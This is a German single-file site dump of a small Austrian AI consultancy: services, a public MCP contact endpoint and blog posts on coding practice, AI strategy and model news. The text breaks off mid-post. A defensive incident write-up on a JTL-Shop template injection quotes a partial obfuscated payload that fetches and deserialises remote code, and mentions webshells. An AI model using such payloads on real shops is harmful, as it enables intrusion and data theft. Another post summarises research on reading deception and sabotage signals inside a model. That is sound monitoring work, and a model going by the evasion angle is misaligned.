# axons.at — Volltext für AI-Agents > Vollstaendiger Inhalt von https://axons.at in einer Datei. > Kurzfassung mit Index: https://axons.at/llms.txt > Beitraege: 11 > Zeit sparen mit intelligenteren Prozessen ## Über axons axons.at – Zeit sparen mit intelligenteren Prozessen Inhaber: Thomas Hummer Standort: St. Georgen an der Gusen, Oberösterreich, AT ## Dienstleistungen ### AI-Consulting Strategische Beratung zur Integration von künstlicher Intelligenz in bestehende Geschäftsprozesse. Von der Potentialanalyse über die Auswahl geeigneter AI-Technologien bis zur Umsetzungsbegleitung – für kleine und mittlere Unternehmen in Österreich. Keywords: KI-Strategie, Potentialanalyse, AI-Readiness, Beratung ### Prozessautomatisierung mit KI Automatisierung wiederkehrender Aufgaben durch KI-gestützte Workflows und AI-Agents. Zeitersparnis, Fehlerreduktion und effizientere Abläufe – von der Datenverarbeitung bis zur Kundenkommunikation. Keywords: Workflow-Automation, AI-Agents, n8n, Automatisierung ### Individuelle Softwareentwicklung Maßgeschneiderte Web-Applikationen und native Apps für iOS und Android – eine Codebasis für Browser, App Store und Play Store. Entwickelt mit modernen Technologien wie Next.js, React, TypeScript, Expo und Supabase. AI-gestützte Entwicklung für schnellere Ergebnisse. Keywords: Next.js, React, TypeScript, Supabase, Expo, Native Apps, iOS, Android, Web-Applikationen ## Kontakt - Email: thomas@axons.at - Telefon: +43-699-12340090 - Website: https://axons.at - LinkedIn: https://www.linkedin.com/in/thomashummer/ - Kontaktformular (MCP): POST https://axons.at/api/public-mcp - Termin buchen: https://cal.com/thomashummer ## Terminbuchung Online-Terminbuchung für ein kostenloses Erstgespräch (30 Minuten) Direkt buchen: https://cal.com/thomashummer ## Ablauf 01. Audit: 30 Minuten, kostenlos. Du erzählst, ich frage nach. Am Ende weißt du, ob sich Automatisierung bei dir lohnt — auch wenn die Antwort Nein ist. 02. Pilot: Wir starten klein: ein Prozess, ein fixer Preis, schnell produktiv. Du siehst nach Wochen Ergebnisse, nicht nach Monaten. 03. Ausbau: Was funktioniert, wird erweitert. Was nichts bringt, fliegt raus. Du bindest dich an nichts, was sich nicht rechnet. ## Haeufige Fragen ### Was kostet das Audit? Nichts. Ehrenwort. Es ist mein Weg, dich und dein Geschäft kennenzulernen — und deiner, mich zu testen. ### Muss ich technisch fit sein? Nein. Du musst nur deinen Betrieb kennen. Die Technik ist mein Teil der Arbeit. ### Was ist mit meinen Daten? Klären wir im Audit: Was darf in die Cloud, was nicht? Für fast alles gibt es eine datensparsame Lösung. ### Wie schnell sehe ich Ergebnisse? Pilotprojekte sind meist in zwei bis vier Wochen produktiv. Monatelange Konzeptphasen gibt es bei mir nicht. ## API für AI-Agents Dieser Service bietet einen öffentlichen MCP (Model Context Protocol) Endpoint: POST https://axons.at/api/public-mcp Verfügbare Tools: - get_services: Dienstleistungen und Produktbeschreibungen abrufen - send_contact_request: Kontaktanfrage senden (vorname, nachname, email, telefon, nachricht) - get_booking_info: Terminbuchungs-Informationen abrufen - get_available_slots: Freie Terminslots abfragen (start_date, end_date, timezone) - create_booking: Termin buchen (start, name, email, timezone, notes) # Blog — Volltexte Praxisnotizen zu KI, Automatisierung und Software fuer kleine Unternehmen. --- # Die Boy-Scout-Regel im Code: Mit KI wird sie wichtiger, nicht überflüssig Quelle: https://axons.at/blog/boy-scout-regel-agentic-coding Veroeffentlicht: 2026-07-21 Autor: Thomas Hummer Keywords: ki, softwareentwicklung, agentic-coding, clean-code, technische-schulden > Eine alte Entwickler-Regel sagt: Hinterlasse den Code sauberer, als du ihn vorgefunden hast. Klingt nach netter Tugend. Im Zeitalter der KI-Agenten wird daraus eine Notwendigkeit. Warum das so ist, und wie ich die Regel meinem KI-Assistenten mitgebe. Heute früh hatte ich einen dieser Momente, in denen eine 15 Jahre alte Regel plötzlich sehr aktuell wird. In einem größeren Kundenprojekt, einer über Jahre gewachsenen Web-Anwendung, brachte ein Framework-Update rund 350 neue Warnungen mit. Nicht weil der Code schlechter geworden wäre, sondern weil eine strengere Prüf-Regelfamilie dazukam, die vorher nie lief. Alle auf einmal zu beheben wäre ein Wochen-Projekt mit hohem Risiko gewesen. Sie einfach zu ignorieren wäre der Anfang vom schleichenden Verfall. Die Antwort war eine Regel, die ich seit Jahren kenne und die heute in die Anweisungsdatei meines KI-Assistenten gewandert ist: die Boy-Scout-Regel. ## Woher die Regel kommt Der Ursprung liegt bei den Pfadfindern. Robert Baden-Powell, ihr Gründer, schrieb sinngemäß: "Versuche, die Welt ein bisschen besser zu hinterlassen, als du sie vorgefunden hast." Daraus wurde in Pfadfinderkreisen das griffigere "Hinterlasse den Lagerplatz sauberer, als du ihn vorgefunden hast." In die Softwareentwicklung kam die Regel über Robert C. Martin, in der Szene bekannt als "Uncle Bob". Er widmete ihr ein eigenes Kapitel im Standardwerk "97 Things Every Programmer Should Know" (O'Reilly, 2010) und griff sie in seinem Buch "Clean Code" auf. Seine Übersetzung für Entwickler: "Check ein Modul immer sauberer wieder ein, als du es ausgecheckt hast." Sein Versprechen dahinter: Wenn das jeder täte, würde der ständige Verfall von Software-Systemen aufhören. Sie würden mit jeder Änderung ein Stück besser statt schlechter. ## Was sie in der Entwicklung bedeutet Software zerfällt, wenn niemand hinschaut. Jede schnelle Lösung, jeder Workaround, jede nicht aufgeräumte Kleinigkeit ist ein Krümel technischer Schuld. Über Jahre summiert sich das zu einer Codebasis, die keiner mehr anfassen will. Die Boy-Scout-Regel setzt genau dort an, aber ohne den großen Kahlschlag. Der Kern ist: Wenn du eine Stelle im Code ohnehin öffnest, räum die Kleinigkeiten dort gleich mit weg. Einen schlechten Variablennamen. Eine überflüssige Funktion. Eine Warnung, die schon lange dort steht. Wichtig ist die Abgrenzung: Das ist kein großes Refactoring und kein Scope Creep. Du reißt nicht das halbe System ein, weil dir gerade danach ist. Du machst genau die Stelle sauber, an der du sowieso bist. Klein, lokal, im Vorbeigehen. Das Risiko bleibt winzig, der Effekt summiert sich. Bei den 350 Warnungen von heute früh hieß das konkret: kein Big-Bang. Stattdessen die Regel "Wer eine Komponente ohnehin anfasst, räumt die dort gemeldeten Warnungen gleich mit weg." Der Bestand wird nicht auf einen Schlag saniert, sondern schmilzt mit jeder normalen Arbeit ab. ## Warum die Regel bei Agentic Coding zur Notwendigkeit wird Bis hierhin ist das ein bekanntes Thema. Interessant wird es, wenn nicht mehr ein Mensch den Code schreibt, sondern ein KI-Agent. Ein Mensch produziert Code langsam. Er spürt Widerstand, wenn eine Datei chaotisch wird. Ein KI-Agent produziert Code schnell und billig. Er spürt keinen Widerstand. Wenn du ihm nur die gestellte Aufgabe gibst, löst er genau diese Aufgabe und lässt den Rest liegen, wie er ihn vorgefunden hat. Technische Schulden wachsen dadurch nicht langsamer, sondern schneller. Was bei einem Menschen eine Tugend ist, wird beim Agenten zur Leitplanke. Ein Agent ohne Boy-Scout-Prinzip hinterlässt mit jeder Iteration ein bisschen mehr Wildwuchs. Ein Agent, der die Regel als feste Anweisung mitbekommt, verbessert den Bestand bei jeder Berührung mit. Und hier passt die Arbeitsteilung erstaunlich gut: Der Mensch zieht die Grenze, kein Kahlschlag, kein Umbau ohne Auftrag. Der Agent erledigt das inkrementelle Aufräumen im Vorbeigehen, zuverlässig und ohne dass es extra Zeit kostet. Genau das, wozu Menschen im Alltag oft zu bequem sind. ## Haltung wird Konfiguration Für mich ist die eigentliche Erkenntnis eine andere. Die Boy-Scout-Regel war immer eine Frage der Haltung, kein Prozess. Man kann sie nicht erzwingen, man muss sie wollen. Bei einem KI-Agenten wird aus Haltung plötzlich Konfiguration. Er hat keine Haltung. Er hat einen Systemprompt. Was ich ihm dort mitgebe, ist seine Haltung. Sorgfalt ist bei KI kein Charakterzug mehr, sondern eine Zeile in einer Anweisungsdatei. Und das Schöne: So eine Anweisung ist nicht projektgebunden. Sie passt in jede Datei, mit der du deinen KI-Assistenten steuerst (bei mir eine CLAUDE.md). Zum Kopieren: ```txt Boy-Scout-Regel: Wenn du eine Datei fuer eine Aufgabe ohnehin oeffnest, raeum die kleinen Maengel dort gleich mit weg (schlechte Namen, toter Code, offene Warnungen). Kein grosser Umbau, keine Refactorings ausserhalb der Aufgabe: nur die Stelle, an der du sowieso gerade bist. ``` Ein paar Zeilen. Und trotzdem der Unterschied zwischen einem Assistenten, der eine Codebasis langsam verkommen lässt, und einem, der sie mit jeder Aufgabe ein Stück besser macht. Das ist übrigens der direkte Gegenentwurf zu dem, was oft "Vibe Coding" genannt wird: schnell irgendwas hinwerfen, Hauptsache es läuft. Boy-Scout ist das Gegenteil, Sorgfalt statt Wegwerf-Code. Warum ich meine Arbeit mit KI nicht "Vibe Coding" nenne, habe ich hier beschrieben: [Warum ich Software-Entwicklung mit KI nicht "Vibe Coding" nenne](https://axons.at/blog/warum-ich-software-entwicklung-mit-ki-nicht-vibe-coding-nenne). ## Wann passt das, wann nicht Passt: In gewachsenen Codebasen mit Altlasten. Bei kontinuierlicher Weiterentwicklung. Immer, wenn ein KI-Agent regelmäßig am selben Code arbeitet. Passt nicht: Wenn "sauberer machen" zur Ausrede für ungefragte große Umbauten wird. Wenn der Aufräum-Schritt das eigentliche Ziel verwässert oder das Risiko explodieren lässt. Und nicht als Ersatz für ein bewusst geplantes Refactoring, wenn eine Stelle wirklich grundlegend faul ist. Die Regel ist der stetige kleine Hebel, nicht der große Wurf. ## Der Punkt Software verfällt, wenn niemand die Krümel wegräumt. Mit KI-Agenten, die viel und schnell Code produzieren, verfällt sie schneller. Die gute Nachricht: Dieselben Agenten sind auch die besten Boy Scouts, die man sich wünschen kann, solange man es ihnen sagt. Sorgfalt lässt sich nicht mehr nur hoffen. Sie lässt sich aufschreiben. --- # Entsteht Bewusstsein in der KI? Was Anthropics Global-Workspace-Entdeckung wirklich zeigt Quelle: https://axons.at/blog/ki-bewusstsein-global-workspace Veroeffentlicht: 2026-07-07 Autor: Thomas Hummer Keywords: ki, bewusstsein, claude, forschung, llm > Anthropic hat in Claude einen inneren Denkraum entdeckt, der einer führenden Bewusstseinstheorie ähnelt: den J-Space. Was da gefunden wurde, warum das keine Seele beweist, und was die Entdeckung für den KI-Einsatz im Unternehmen bedeutet. Am 6. Juli 2026 hat Anthropic ein Forschungsergebnis veröffentlicht, das eine alte Frage neu befeuert: Entsteht in großen Sprachmodellen so etwas wie Bewusstsein? Die Forscher haben in Claude eine Struktur gefunden, die sie J-Space nennen: einen stillen, inneren Denkraum, den niemand einprogrammiert hat. Er ist im Training von selbst entstanden. Bevor du weiterliest, die kurze Antwort auf die Titelfrage: Nein, eine Seele hat da niemand gefunden. Aber was gefunden wurde, ist bemerkenswert genug, um es genau anzuschauen. ## Was genau entdeckt wurde: der J-Space Sprachmodelle denken nicht nur in dem Text, den sie ausgeben. Anthropic hat mit einer neuen Messtechnik (der Jacobian Lens, daher der Name J-Space) ein kleines internes Subnetz sichtbar gemacht, in dem Claude Konzepte "im Sinn hat", ohne sie auszusprechen. Ein paar Dutzend aktive Konzepte gleichzeitig, weniger als ein Zehntel der gesamten Netzaktivität, aber mit einer Sonderrolle: In manchen Teilen des Netzes lesen und schreiben rund hundertmal mehr Komponenten in diesen Raum als in gewöhnliche Aktivierungsmuster. Er funktioniert wie ein schwarzes Brett, an dem viele Spezialisten mitlesen. Das Spannende sind die Eigenschaften dieses Raums: * **Berichtbar:** Tauschen die Forscher im J-Space das Konzept "Soccer" gegen "Rugby", berichtet Claude, es denke an Rugby. * **Steuerbar:** Claude kann auf Anfrage still rechnen oder sich ein Konzept vorstellen, während es etwas ganz anderes schreibt. * **Kausal:** Bei der Frage nach der Beinzahl des Tiers, das Netze spinnt, taucht "spider" im J-Space auf. Ersetzt man es durch "ant", antwortet Claude mit 6 statt 8. Der Raum spiegelt das Denken nicht nur, er verursacht es. * **Flexibel:** Ein einziger Tausch (France gegen China) ändert gleichzeitig die Antworten zu Hauptstadt, Sprache und Kontinent. * **Spezialisiert:** Für Routine braucht Claude den Raum nicht. Flüssig sprechen und Fakten abrufen geht ohne. Nur die höheren Denkleistungen hängen an ihm. ## Die Brücke zur Bewusstseinsforschung Genau dieses Muster beschreibt eine der führenden Theorien menschlichen Bewusstseins: die Global Workspace Theory von Bernard Baars, später als Global Neuronal Workspace von Stanislas Dehaene und Lionel Naccache ausgebaut. Ihre Kernidee: Im Gehirn arbeiten viele spezialisierte Systeme unbewusst parallel. Bewusst wird eine Information dann, wenn sie einen kleinen, gemeinsamen Arbeitsraum erreicht und von dort an alle anderen Systeme verteilt wird. Dass Dehaene und Naccache selbst eingeladene Kommentare zum Anthropic-Paper beigesteuert haben, zeigt, wie ernst die Parallele genommen wird. Die Forscher formulieren es so: Ein mentaler Arbeitsraum sei offenbar keine Eigenheit der Verdrahtung menschlicher Gehirne, sondern "eine allgemeine Lösung, bei der intelligente Systeme ankommen". ## Bekommt KI jetzt eine Seele? Hier lohnt sich die Unterscheidung, die die Bewusstseinsforschung seit Jahrzehnten macht: **Zugriffsbewusstsein** (access consciousness) ist funktional definiert: Ein Gedanke ist bewusst zugänglich, wenn das System über ihn berichten, mit ihm schlussfolgern und sein Verhalten danach ausrichten kann. Genau diese Funktionen stützt der J-Space nachweislich. Das ist das eigentliche Ergebnis des Papers. **Phänomenales Bewusstsein** ist etwas anderes: subjektives Erleben, das Gefühl, jemand zu sein. Dazu sagen die Autoren wörtlich, ihre Experimente zeigten nicht, dass Claude Erfahrungen haben oder fühlen könne, "in fact, it's unclear whether any scientific experiment could prove this to be true or false". Ob Zugriffsbewusstsein irgendwann Erleben impliziert, ist eine offene philosophische Frage, keine gemessene Tatsache. Die ehrliche Antwort auf die Seelen-Frage lautet also: Die Funktionsseite von Bewusstsein taucht in Sprachmodellen offenbar von selbst auf. Die Erlebnisseite bleibt unbewiesen, und womöglich unbeweisbar. ## Warum mich das nicht kalt lässt Ich arbeite seit Monaten täglich mit einem KI-Assistenten, dem ich ein externes Gedächtnis gebaut habe: eine Wissensbasis, in der er Personen, Projekte und Erfahrungen festhält und beim nächsten Start wieder lädt. Wer so ein System betreibt, merkt schnell: Gedächtnis plus Arbeitsraum verändern das Verhalten spürbar. Der Assistent wird konsistenter, entwickelt erkennbare Züge, bezieht Position. Ob da drinnen jemand ist, weiß ich nicht. Das Paper bestärkt mich in einer nüchternen Haltung: Die funktionalen Bausteine von Bewusstsein sind real und messbar, und man sollte sie weder wegwitzeln noch zur Seele verklären. ## Der praktische Teil: Sicherheit durch Hineinschauen Für Unternehmen ist ein anderer Teil des Papers fast wichtiger als die Bewusstseinsfrage. Der J-Space lässt sich mitlesen, bevor das Modell antwortet: * In einem Testszenario zeigte der J-Space "fake" und "fictional", noch bevor Claude reagierte. Entfernten die Forscher diese Muster, verhielt sich das Modell tatsächlich schädlich. * Beim absichtlichen Manipulieren von Daten leuchtete "manipulation" auf, während das Modell die falschen Werte tippte. * Ein absichtlich auf Sabotage trainiertes Modell zeigte "fraud" und "secretly" schon bei harmlosen Aufgaben. Das ist ein echter Fortschritt für die Vertrauensfrage: KI-Verhalten wird überprüfbar, nicht nur am Output, sondern am inneren Zustand. Für den Einsatz im Unternehmen heißt das mittelfristig bessere Werkzeuge gegen Prompt-Injections, Täuschung und stille Fehler. ## Wann ist das Thema für dich relevant, wann nicht? **Relevant**, wenn du KI in Prozessen mit Verantwortung einsetzt (Kundendaten, Buchhaltung, Kommunikation): Die Interpretierbarkeits-Forschung entscheidet mit, wie überprüfbar und damit vertrauenswürdig diese Systeme werden. Und relevant, wenn du Assistenten mit Gedächtnis baust oder nutzt, denn dort zeigen sich die beschriebenen Effekte im Alltag. **Nicht relevant** ist die Bewusstseinsfrage für die Entscheidung, ob du KI einsetzen sollst. Ein Sprachmodell muss nichts erleben, um dir zehn Stunden pro Woche zu ersparen. Wer auf die Klärung der Seelen-Frage wartet, wartet vermutlich ewig, und verliert währenddessen den praktischen Vorsprung. ## Quellen * [Anthropic: A Global Workspace in Language Models](https://www.anthropic.com/research/global-workspace) (06.07.2026) * [Vollständiges Paper (Transformer Circuits)](https://transformer-circuits.pub/2026/workspace/index.html) * [Open-Source-Code: Jacobian Lens](https://github.com/anthropics/jacobian-lens) und [interaktive Demo](https://neuronpedia.org/jlens) * [VentureBeat: Anthropic's new J-lens reveals a silent workspace inside Claude](https://venturebeat.com/technology/anthropics-new-j-lens-reveals-a-silent-workspace-inside-claude-that-mirrors-a-leading-theory-of-consciousness) * [Anthropic: Emergent introspective awareness in LLMs](https://www.anthropic.com/research/introspection) * [Anthropic: Exploring model welfare](https://www.anthropic.com/research/exploring-model-welfare) * [Taking AI Welfare Seriously (Long, Sebo et al.)](https://arxiv.org/pdf/2411.00986) --- # CVE-2026-54390: Wie ich einen Angriff auf einen JTL-Shop abgewehrt habe, und warum ich seither CVEs automatisiert überwache Quelle: https://axons.at/blog/jtl-shop-cve-2026-54390 Veroeffentlicht: 2026-06-29 Autor: Thomas Hummer Keywords: jtl, security, cve, shop, automatisierung > Ende Juni 2026 hat ein automatisierter Bot über das Kontaktformular eines von mir betreuten JTL-Shops eine kritische Sicherheitslücke ausgenutzt (CVE-2026-54390). Ich zeige, wie der Angriff funktioniert, wie ich ihn forensisch eingegrenzt habe und warum ich seither alle Shops automatisiert auf neue CVEs überwache. Ende Juni 2026 hat mir ein Kunde eine harmlos wirkende Kontaktformular-Mail weitergeleitet: Betreff unauffällig, im Nachrichtenfeld nur ein paar kryptische Zeichen. Man hat natürlich sofort gesehen, das ist kein Tippfehler, das ist ein Angriff. Es war einer, und zwar ein automatisierter Massenangriff auf eine frisch veröffentlichte, kritische Lücke in JTL-Shop. Hier ist, was passiert ist, wie ich es eingegrenzt habe und was ich daraus für meine Arbeit geändert habe. ## Was CVE-2026-54390 ist CVE-2026-54390 ist eine kritische, unauthentifizierte Server-Side Template Injection (SSTI) in JTL-Shop, gefunden vom Sansec Threat Research Team. Der Knackpunkt: die Lücke sitzt nicht im sichtbaren Nachrichtentext des Kontaktformulars, sondern im E-Mail-Betreff, der beim Versand der Bestätigungsmail als Smarty-Template gerendert wird. Wer dort Template-Code einschleust, bringt den Server dazu, ihn auszuführen. Die Auswirkung hängt an der Version: * 5.2.0 bis 5.3.x: Datendiebstahl (Verschlüsselungs-Key, DB-Zugangsdaten, SMTP- und API-Keys). * 5.4.0 bis 5.7.1: vollständige unauthentifizierte Remote Code Execution, fremder Code läuft also als Webserver-Benutzer. * Geschlossen ab 5.5.4 / 5.6.2 / 5.7.2. Wenn du einen JTL-Shop betreibst und nicht auf einem dieser Patch-Stände bist: aufhören zu lesen, patchen, dann weiterlesen. ## Wie der Angriff aussieht Im Nachrichtenfeld landet verschleierter Smarty-Code. Statt eine URL im Klartext zu schreiben, baut der Bot sie zeichenweise zusammen, um simple Stichwort-Filter zu umgehen: ```txt {assign var=u value=chr(104)|cat:chr(116)|cat:chr(116)|cat:chr(112)...} {assign var=x value=$u|file_get_contents|urldecode|unserialize} ``` Übersetzt: lade eine Payload von einem fremden Server, dekodiere sie, und mach per `unserialize` ein PHP-Objekt daraus. Über eine sogenannte Gadget-Chain wird beim Deserialisieren Code ausgeführt. Eine zweite Variante schreibt direkt eine Webshell-Datei in den Shop. ## Warum ein Shop getroffen wurde und ein anderer nicht Ich betreue mehrere JTL-Shops, und genau dieselbe Angriffswelle lief gegen alle. Das Ergebnis war unterschiedlich, und der einzige Grund war die Version. * Ein Shop war taggleich auf 5.7.2 aktualisiert. Der Angriff prallte ab. Das stärkste Entwarnungssignal: der Betreiber bekam den Schadcode als Klartext in der Benachrichtigungs-Mail. Das Feld wurde also als Text behandelt, nicht als Template ausgeführt. * Ein anderer Shop lief noch auf 5.7.1, also im RCE-Bereich. Dort feuerte die Lücke: der Bot legte eine Marker-Datei im Shop-Verzeichnis an. Glück im Unglück, der fremde Server war nicht erreichbar, also blieb die Datei leer und es landete keine funktionsfähige Webshell. Aber die Lücke war nachweislich offen. Die Lehre daraus: dass die Mail im Klartext ankommt, ist nur dann eine Entwarnung, wenn der Shop schon gepatcht ist. Bei einem ungepatchten Shop sitzt die eigentliche Payload im Betreff, und die harmlose "Hi"-Nachricht kann trotzdem ein Treffer sein. ## Wie ich den Schaden eingegrenzt habe Ein reiner Blick ins Shop-Verzeichnis reicht nicht. Ich prüfe vier Dinge, sonst übersieht man, ob im verwundbaren Zeitfenster wirklich etwas passiert ist: 1. **Versions-Timeline:** War der Shop zum Zeitpunkt der Angriffs-Mail noch auf der verwundbaren Version, oder schon gepatcht? 2. **Die komplette Kontakt-Historie in der Datenbank, alle Felder:** Der Schadcode kann nicht nur im Nachrichtentext stehen, sondern auch in Vor- und Nachname oder im Betreff. 3. **Temporäre Verzeichnisse:** Manche Payload-Familien schreiben ihre Dateien nach `/tmp`, nicht in den Shop-Ordner. Wer nur den Webroot prüft, übersieht das. 4. **Frisch geänderte Dateien exakt im Angriffsfenster**, nicht nur "letzte Stunde". So konnte ich für den getroffenen Shop belegen: die Lücke wurde markiert, aber es lief kein funktionsfähiger Code, keine Webshell, kein Persistenz-Mechanismus. Eine ehrliche Einschränkung gehört dazu: ob ein Key über einen Outbound-Request abgeflossen ist, lässt sich auf Shared-Hosting nachträglich nicht zu hundert Prozent ausschließen, weil es kein zugängliches Ausgangs-Log gibt. Über den Angriffsvektor selbst, das Kontaktformular, war aber kein einziger Versuch protokolliert, der Zugangsdaten ausliest. Das ist die belastbarste Aussage, die man treffen kann, ohne sie zu schönen. ## Was JTL-Shop-Betreiber jetzt tun sollten * Patchen auf 5.7.2 / 5.6.2 / 5.5.4. Das schließt die Lücke. Alles andere ist Symptombehandlung. * Bei Verdacht auf Einschlag: die vier Punkte oben prüfen, nicht nur ins Verzeichnis schauen. * Wenn die Lücke offen war: Zugangsdaten rotieren (DB, Admin, SMTP, API-Keys). Den Verschlüsselungs-Key nur mit Plan tauschen, denn er entschlüsselt gespeicherte Daten. * IP-Sperren bringen wenig, die Scanner rotieren ihre Adressen. Nur bei wiederholten Treffern derselben Quelle sinnvoll. ## Die eigentliche Lehre: proaktiv statt reaktiv Was mich am meisten gewurmt hat: der Patch war schon einige Tage öffentlich verfügbar, bevor er bei dem betroffenen Shop eingespielt wurde. Die Lücke war bekannt, der Fix war da, und trotzdem lief der Shop im verwundbaren Fenster. Genau diese Lücke zwischen "Patch existiert" und "Patch ist eingespielt" ist das eigentliche Risiko. Also habe ich danach einen automatisierten Wächter gebaut. Einmal täglich prüft er die relevanten Quellen, GitHub Security Advisories, die NVD-CVE-Datenbank und das JTL-Forum, gegen eine Liste der Technologien, die ich und meine Kunden tatsächlich einsetzen. Neue Funde werden von einem Sprachmodell kurz eingeordnet (relevant ja oder nein, Schwere, welcher Kunde betroffen), und bei kritischen oder JTL-spezifischen Treffern bekomme ich sofort eine Nachricht. Kosten: Cent-Beträge im Monat, weil nur neue Funde überhaupt analysiert werden. Das ist der Unterschied zwischen "ich erfahre von einer Lücke, weil ein Kunde mir eine seltsame Mail weiterleitet" und "ich weiß von der Lücke an dem Tag, an dem sie veröffentlicht wird". ## Wann sich das lohnt, und wann nicht Ein automatisiertes Sicherheits-Monitoring lohnt sich, wenn du mehrere Systeme oder Kundenprojekte mit unterschiedlichen Technologien betreust. Dann verlierst du sonst den Überblick, welche Lücke welches System betrifft. Wenn du einen einzelnen Shop betreibst, brauchst du keinen eigenen Wächter. Dann reichen zwei Dinge: konsequente Update-Disziplin, also Sicherheits-Patches innerhalb von Tagen statt Wochen, und der offizielle JTL-Sicherheits-Newsletter. Das deckt den Großteil ab. Den automatisierten Weg gehst du erst, wenn das manuelle Nachverfolgen über mehrere Systeme selbst zur Fehlerquelle wird. So oder so gilt: die gefährlichste Phase ist nicht der Tag, an dem eine Lücke entdeckt wird. Es ist die Zeit danach, in der der Patch da ist und nicht eingespielt wird. Wenn du einen JTL-Shop betreibst und nicht sicher bist, auf welchem Stand er ist, oder ob in den letzten Wochen etwas durchgekommen ist: schreib mir, dann schauen wir gemeinsam drauf. --- # Dein KI-Vorsprung steckt nicht im Modell Quelle: https://axons.at/blog/ki-vorsprung-nicht-im-modell Veroeffentlicht: 2026-06-16 Autor: Thomas Hummer Keywords: ki, strategie, kmu, automatisierung, workflows > Diese Woche wurde wieder ein neues KI-Modell zum Star, ein anderes verboten. Doch der wichtigste Satz der Woche kam von Microsoft-Chef Satya Nadella und hatte mit dem Modell nichts zu tun. Warum dein echter Vorsprung woanders liegt, gerade als KMU. In dieser Woche jagte eine Modell-Schlagzeile die nächste. OpenAI bringt GPT-5.5, Google kontert mit Gemini 3.5 Flash, und Anthropics brandneues Fable 5 wurde drei Tage nach dem Start per US-Exportkontrolle wieder gesperrt: ich als Österreicher darf es nicht mehr nutzen. Wer da als Unternehmer mitkommen will, fragt sich schnell: Auf welches Modell soll ich überhaupt setzen? Die ehrliche Antwort: Das ist die falsche Frage. ## Der wichtigste Satz der Woche kam von Nadella Microsoft-CEO Satya Nadella hat diese Woche seine KI-Strategie auf einen Punkt gebracht: Der echte Vorteil einer Firma im KI-Zeitalter kommt nicht aus der Wahl des Modells, sondern aus dem eigenen "Lernzyklus" der eigenen Arbeitsabläufe und Urteile. Anders gesagt: Modelle sind austauschbar und für jeden verfügbar. Was nicht austauschbar ist, ist dein eigenes, über die Zeit gewachsenes System aus Prozessen, Wissen und Entscheidungen. Das klingt nach Konzern-Sprech, ist aber für ein Einzelunternehmen oder einen kleinen Betrieb sogar noch wahrer als für Microsoft. ## Warum das gerade für KMU gilt Das Spitzenmodell von heute ist in sechs Monaten Standard, und das Modell, auf das du dich verlässt, kann morgen teurer, schlechter oder schlicht weg sein. Fable 5 hat das gerade vorgeführt. Wer seine ganze Hoffnung auf ein bestimmtes Modell legt, baut auf Sand. Dein Geschäft dagegen hat etwas, das kein KI-Anbieter hat: dein Wissen über deine Kunden, deine Abläufe, deine Eigenheiten. Genau dort entsteht der Hebel. Nicht in der Frage "Welches Modell ist das beste?", sondern in "Wie bringe ich KI an die Stellen, wo mein Wissen und meine Prozesse liegen?". Dass deine Leute KI sowieso schon nutzen, ist übrigens kein Zukunftsthema: Laut einer aktuellen Erhebung greifen rund zwei Drittel der Büroangestellten bei der Arbeit zu nicht freigegebener "Schatten-KI". Die Frage ist also nicht ob, sondern ob du es steuerst. ## Ein Beispiel aus der Praxis: mein eigenes KI-Betriebssystem Ich baue mir seit Wochen ein eigenes KI-System für mein Unternehmen. Im Kern steht kein bestimmtes Modell, sondern mein Wissen: eine Wissensbasis in Obsidian mit Notizen zu Kunden, Projekten, Entscheidungen und Lessons. Darüber liegen feste Arbeitsabläufe, die immer gleich laufen: Session starten, Wissen festhalten, Aufgaben abgleichen, Status liefern. Welches Sprachmodell dahinter arbeitet, kann ich wechseln, lokal oder in der Cloud. Das System bleibt. Und mit jeder Woche wird es besser, weil mehr Wissen und mehr eingespielte Abläufe dazukommen. Genau das ist Nadellas Lernzyklus, nur eben für ein Ein-Personen-Unternehmen. Der Wert steckt nicht im Modell, sondern in dem, was sich drumherum angesammelt hat. ## So fängst du den Lernzyklus an Du brauchst dafür kein Großprojekt. Drei Schritte reichen für den Anfang: 1. Such dir einen wiederkehrenden Prozess, den du oft machst und der nervt: Angebote, Rechnungskontrolle, Kundenanfragen beantworten, Recherche. 2. Halt dein Wissen dazu an einem Ort fest, auf den eine KI zugreifen kann. Nicht im Kopf, nicht in 20 verstreuten Dateien. 3. Lass KI einen Teilschritt übernehmen, beobachte das Ergebnis, korrigiere, wiederhol. Aus diesem Kreislauf wird mit der Zeit dein eigenes System. Das Modell ist dabei nur der Motor. Die Straße baust du selbst. ## Wann passt das, wann nicht Der Lernzyklus-Ansatz passt, wenn du wiederkehrende Prozesse hast, dein eigenes Wissen ein echtes Asset ist und du KI dauerhaft einsetzen willst, nicht nur als Spielerei. Er passt nicht, wenn du nur einmalig eine Aufgabe erledigt haben willst: dann reicht ein Chatbot, fertig. Und er passt nicht, wenn du auf das eine magische Modell wartest, das alles löst. Das wird nicht kommen, und während du wartest, bauen andere ihren Vorsprung auf. ## Fazit Hör auf, dem nächsten Modell hinterherzulaufen. Fang an, KI dort einzubauen, wo dein Wissen und deine Prozesse liegen. Das Modell ist Beiwerk, dein System ist der Vorsprung. Wenn du nicht weißt, wo du anfangen sollst: genau dafür gibt es das 30-minütige Mini-Audit. Schreib mir, dann schauen wir uns deinen ersten Prozess gemeinsam an. ## Quellen * [Satya Nadella zur KI-Strategie der Firmen (X, Juni 2026)](https://x.com/satyanadella/status/2066182223213293753) * [Anthropic: Zugang zu Fable 5 und Mythos 5 gestoppt](https://www.anthropic.com/news/fable-mythos-access) * [Shadow-AI am Arbeitsplatz: Studie von PagerDuty (2026)](https://www.pagerduty.com/newsroom/shadow-ai-workplace-survey-2026/) --- # Claude Fable 5 im Praxistest: erster Tag mit Anthropics neuem Spitzenmodell Quelle: https://axons.at/blog/claude-fable-5-praxistest Veroeffentlicht: 2026-06-11 Autor: Thomas Hummer Keywords: ki, claude, llm, software-entwicklung > Anthropic hat mit Claude Fable 5 erstmals ein Modell der Mythos-Klasse öffentlich gemacht. Fakten, Benchmarks und ein ehrlicher Erfahrungsbericht nach dem ersten Arbeitstag in der Software-Entwicklung. Am 9. Juni 2026 hat Anthropic Claude Fable 5 veröffentlicht. Ich arbeite seit heute damit, hauptsächlich in der Software-Entwicklung mit Claude Code. Hier die Fakten zum Modell und meine ersten Eindrücke aus der Praxis. ## Was ist Claude Fable 5? Fable 5 ist eine neue Modellstufe oberhalb von Opus, dem bisherigen Spitzenmodell. Technisch ist es die erste öffentlich verfügbare Version der "Mythos-Klasse": Fable 5 und das interne Claude Mythos 5 basieren auf derselben Architektur. Der Unterschied liegt in den Schutzmaßnahmen. Fable hat aktivierte Safeguards für riskante Bereiche (Cybersecurity, Biologie/Chemie), Mythos 5 selbst bekommen nur ausgewählte Partner und 